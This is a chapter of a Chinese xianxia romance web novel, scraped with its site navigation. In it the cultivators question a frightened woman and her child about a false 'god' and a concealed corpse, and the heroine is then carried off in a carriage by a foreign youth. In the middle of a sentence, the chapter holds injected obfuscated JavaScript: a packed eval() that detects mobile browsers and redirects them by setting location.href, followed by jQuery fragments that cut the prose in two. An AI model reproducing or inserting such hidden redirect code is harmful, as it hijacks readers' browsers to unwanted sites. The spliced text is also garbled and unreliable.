默认冷灰
24号文字
方正启体

57. 艳遇

作者:声声叶叶本书字数:K更新时间:
    疯女人已经坐在了桌边,战战兢兢捧着茶杯,喝都不敢喝,仿若对面坐了只饿虎。


    饿虎黎拂雪锁定猎物,一下一下敲打桌沿:“托梦?尸臭?那尸体呢?你给我藏哪了?”


    “不,我不知道,别问我!”女人惊慌失措,又开始抠自己的脸,力道之大,皮都快活活剥下来了。


    黎拂雪一拍桌子刚要发作,殷归鹤蓦然按住了她的手,唬得黎拂雪“呲溜”一下缩回动作。


    “你做什么?”黎拂雪将五根手指细细检查了遍,嫌恶地擦了又擦,“不会又想阴我吧?”


    殷归鹤别扭道:“你看看这说话语气,能问出来就有鬼了。”


    “你再说一遍!”


    “我说,你温柔一点。温柔一点又不会少你一块肉……”


    殷归鹤脸上漫开浅浅淡淡的红,他似乎为这个回答而感到羞耻,眼神躲躲闪闪的,就好像是在指责她对他太凶了。


    黎拂雪耸肩:“哦,看不惯你就滚。”


    殷归鹤眼中一痛,罕见地没有还嘴。


    然而,接下来的问话都被殷归鹤抢过,饶是黎拂雪多想亲自逼问,慕郝二人也可怜巴巴地拽住她衣袖:姑奶奶,你可老实点吧。


    难得给面的黎拂雪翘起个二郎腿,等着殷归鹤问出个什么名堂来。


    熟料那女疯子一见到殷归鹤,抖得更厉害了:“你,你……你别过来!”


    接下来都是胡言乱语,场面好不滑稽。


    本来胸有成竹的殷归鹤只得尴尬住嘴,黎拂雪幸灾乐祸的模样刺得他眼疼。


    “你不也什么都没问出来吗?”黎拂雪挖苦道,“有时候,温柔没有用,你倒不如强硬点。”


    殷归鹤似有所悟,定定看着她。


    少年郎的目光专注且深沉,但眼底又好似转动万千星光,噙着满满一江银河秋水。


    “所以你喜欢强硬的?”他难得耿直发问,偏偏欲盖弥彰地低咳几声,好像如此便能缓解微妙的气氛。


    黎拂雪眉头扭动,不是,怎么总感觉哪里怪怪的?


    “我肯定喜欢啊,这不就是我的处事方针吗?”


    这一句话仿佛打开了殷归鹤的某个开关,他猝然上前,打了黎拂雪个猝不及防,而接下来的举止更让她瞠目结舌。


    殷归鹤这臭小子居然上手,将她交叠的大腿硬生生掰了下来。他掌心温度滚烫,但带着不容拒绝的力道,令她连挣扎都忘了个一干二净,此刻二人贴得极近,呼吸都快交缠在一处。


    黎拂雪瞳孔地震,下意识就要抬手揍人,殷归鹤没有躲,而是一本正经看着她道:“以后不准跷二郎腿了,对身体不好,这是不对的,且有碍观瞻,有辱斯文。”


    “你占我便宜还有脸假正经?!”


    只听“啪”的一声脆响,殷归鹤眼睛瞪得溜圆,似是不敢相信他又被扇了。


    他呆呆盯着黎拂雪,想诘问,又只是嗫嚅着唇瓣,一句话也没怼出口,不对啊,这不是他想要的结果!


    黎拂雪也大睁一双眼,又是羞又是气,一时间,两个人的脸颊都红扑扑的。


    “说了叫你别再跟着我,挨打是你该!”黎拂雪才不心疼呢,甚至还想再打一巴掌,殷归鹤这次可就老实了,几个蹦跳躲开来。


    女孩儿一撇嘴唇,红红的脸儿埋了下去,双手挡住了大腿:“登徒子。”


    殷归鹤冤啊,躲到角落里,捂住半边脸颊,再也不敢晃悠,小狗一样泪汪汪的,默默龇牙咧嘴,疼也是真的疼啊。


    不是她说喜欢强硬的吗?他都如此直白、勇敢、主动、讨好了,怎么还要挨打啊?他能怎么办他也很绝望啊。


    慕长歌赶紧背过身去,救命,太好笑了,这一憋笑,情绪激动,竟然被自己的口水呛到了,咳得她撕心裂肺。


    郝一鸣也一改审讯姿态,无奈噙笑,替慕长歌轻轻拍背。


    一个小小的果脯店,一张不大不小的桌案前,竟然划出了两道截然不同的风景线。


    疯女人再如何也不肯多说,只道尸体也是梦中人吩咐的,都是神明的旨意,要用来做什么她也不知道,至于放在哪里,她无可奉告。


    此时外头传来各色人语声,就连蒲团上一直处于昏迷状态的稚童,也有了转醒姿态。


    空气中那股夹杂恶臭的香味也由浓转淡,就好像所有异样都在消弭。


    很快,外头又响起了小摊小贩的叫卖声,凡人们又恢复了安良温驯的模样,脸上再无面对画像的癫狂之色,不夜城再度繁荣,热热闹闹挤挤挨挨,就好像那些税卒从未来过。


    “这到底是怎么回事?”黎拂雪倍感稀奇,她也不管什么尸体不尸体了,雨燕一样飞出去,试探般随手指了根糖葫芦:“我要这个。”


    她仔细观察那老妪神情,但耐人寻味的是,这老妪压根不看她,只压低帽檐,挑了根最大的糖葫芦递过来,中途无有一句交流。


    绝对有蹊跷,黎拂雪环顾四周,那些百姓不约而同地低下头忙活自己手中的事,好巧不巧没有一个人对上她的视线。


    这种感觉就像表面上平滑如镜的大海,实则底下暗流汹涌。


    黎拂雪决意要闹个天翻地覆,将这群弱小的凡人们逼问出口,灵气在她指尖蕴集,仙气从金丹中丝丝缕缕抽离,那些凡人们还不知道危险即将来临,有些商贩甚至还能同亲友们言笑晏晏。


    黎拂雪倏然失神,竟然有些心软,也就是在这千钧一发的关键时期,一声又清又脆的嗓音响起:“漂亮姊姊!”


    大腿上扑来一团绵软的东西,黎拂雪一惊之下,所有杀机都烟消云散,原来是那稚童。


    稚童顶着一个花苞头,讨好地紧抱住她:“漂亮姊姊,我娘她什么都不知道,但我知道,只要你答应我不伤害其他街坊邻居,我就都告诉你,好不好?”


    彼时,殷归鹤等人也从店内打帘而出,对上殷归鹤那双澄明的眼,黎拂雪竟然能感觉到这凡间的烟火温度。


    他本不是仙,他也是凡人……


    她避开视线,莫名有些庆幸,庆幸自己方才没有出手,不对,她做什么在乎这些?真烦。。。


    “我怎么知道你会不会骗我?”黎拂雪没有推开稚童,只带着点恐吓问道。


    稚童果然有点怕她,但仍然鼓足勇气说:“我不会拿那些帮助过我的叔叔伯伯们做赌注的。”


    “你们凡人倒是团结友爱。”黎拂雪不再去看稚童的眼,她注意到,周遭的贩夫走卒们也在悄悄打量这边,那一刻,稚童想要保护不夜城的人们,而不夜城的人们也记挂着稚童。


    黎拂雪抿唇,说不清是嫉妒还是羡慕。


    接下来,稚童都和他们一五一十说清楚,首先她娘说的没错,画像确实是梦中人所托,要她复刻发行出去,日夜用香火供奉,就能为他们实现愿望。


    大大小小的愿望,这位“神”都能实现,刚开始只是变出一枚铜板,再后来,就是一只鸡,甚至是一些孩童喜欢的玩具。


    “你们看,这都是‘神明大人’给我变出来的呢。”稚童说到兴高采烈处,当真从柜中翻出一个小铁盒,里面是各色各样的玩具,竹蜻蜓,小沙包,鲁班锁,都被她安放得整整齐齐。


    唯一奇怪的是,这些玩具,都泛着饱经岁月的淡黄色,怎么看都不像而今产物,这些分明是旧时代的遗物。


    黎拂雪心中疑窦愈来愈大,稚童还在呱呱往下说着。


    至于尸体,稚童也只侥幸见过一面,据说那是“神”在凡间的宿体,需得好好安置,若有损坏抑或是被人瞧见,那许出的愿望就不灵了。而熏香也是按照“神”的旨意摆布的,是为了掩盖“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188178|190394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    神”迹,其实就是尸臭。


    但那位“神”似乎万般凶残,稍有不顺意便会在梦中对娘大发雷霆,所以她和她娘,才会这般忌惮黎拂雪,因为泼辣程度,以及那身衣着打扮,都像极了“神”的秉性和画像上的姿态。


    莫名躺枪的黎拂雪忍得额角青筋暴跳,险些没将桌子掀翻。


    说了大半夜,外头竟然隐有鸟鸣,太阳突破云层,冉冉东方,天光已大亮。


    四人顶着眼下青黑,彼此面面相觑,答案呼之欲出。


    出了果脯店,黎拂雪憋了许久的恶气终于山洪一样爆发:“什么‘神明大人’,都是有人冒充!我就说好端端的神明,怎么可能画得和仙人一模一样,那装神弄鬼之人,根本就不是神,也根本没见过神。”


    一阵车马奔过,卷起一路烟尘,那马车豪华绘满锦绣,贵气逼人,四人闪身避让。


    殷归鹤倒还算冷静:“胡老板曾和我说过,鬼域和凡间有所勾结,想必就是指的此处,而公鸡打鸣,除污去秽。答案昭然若揭。”


    慕长歌:“所以殷师兄的意思是?”


    “此事应是鬼域所为,之所以将尸体遮遮掩掩,是因为他需要借尸还魂,他之所以从未露面,是因为他乃地缚灵,若是性子激烈,那鬼域就只有一人能对得上。”


    “常翁!”郝一鸣诧异,“常翁为什么要冒充神明?那他要我们找金钗又是何意?”


    殷归鹤摇头,这又是一个问题,甚至有可能牵扯上星轨七宗罪。


    “切莫轻举妄动,毕竟同门还有星轨碎片都在常翁手中,我们不妨先将金钗找到,其间再想办法。”


    慕郝二人连连称好,独独少了黎拂雪的声音,此时殷归鹤才收回思绪,眼皮莫名狂跳。


    周遭哪里还有黎拂雪身影?


    “糟了!黎师姐不会去鬼域找常翁算账了吧!”郝一鸣急了,“我这就去鬼域拦人。”


    慕长歌:“我也去。”


    这两人也不给殷归鹤说话的机会,披上风行衣,御剑就走。


    殷归鹤刚想跟上,镜心忽然嗡嗡震动起来,它是黎拂雪的本命剑,当能感知主人所在,殷归鹤不敢耽搁,跟着镜心在街坊中疾走。


    风盈了他满袖,殷归鹤只觉心空了一片。


    此时的黎拂雪正坐在一辆马车中,没错,她刚刚被人掳上了马车。


    黎拂雪倒也不慌,而是饶有兴致地看着眼前风流倜傥的公子哥。


    这人生了一双琥珀眼,耳垂上还挂着一枚狼牙耳坠。他穿着一件兽皮半臂薄袄,内搭竹叶束领里衣,半是粗犷半是儒雅,两两碰撞,竟然有种伪君子的致命吸引力,仿若大漠里清澈的泉水,水中却藏了一条毒蛇。


    这是个少年郎,说着还不算流利的汉话,白牙耀眼又带着几分野性,像是草原的狼,他的视线直接又炽热:“小娘子,见到你我是欢喜的,你定然自远方来,非我国人,是也?”


    黎拂雪爽朗一笑:“你也并非汉人,何以说上我了?”


    许是被她洒脱的性格惊讶到了,这小狼一样的少年停顿了片刻,随即哈哈大笑,声音震得马车都在抖:“好,这样的性格,我们草原是不多见的,见惯了不夜城里的懦弱恭维,姑娘这般的,我还是头一次见。”


    黎拂雪挑眉,不置可否。一双眼揣摩猪肉一样游走,嗯,帅是挺帅的,那她就暂且不杀了。


    这异族少年还不知道潜在的杀机,大喇喇一靠,笑吟吟道:“你我二人这般有缘,不若就让我做一回东道主,几个弟兄们带小娘子一道儿将这不夜城逛个遍,你看如何?”


    黎拂雪不答,好整以暇看他开屏,这异族少年果然更加热情,还冲她做了个标准的汉人礼。


    “瞧我,失礼了,忘记自我介绍了,我叫耶律达鲁。小娘子,你叫什么名字?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)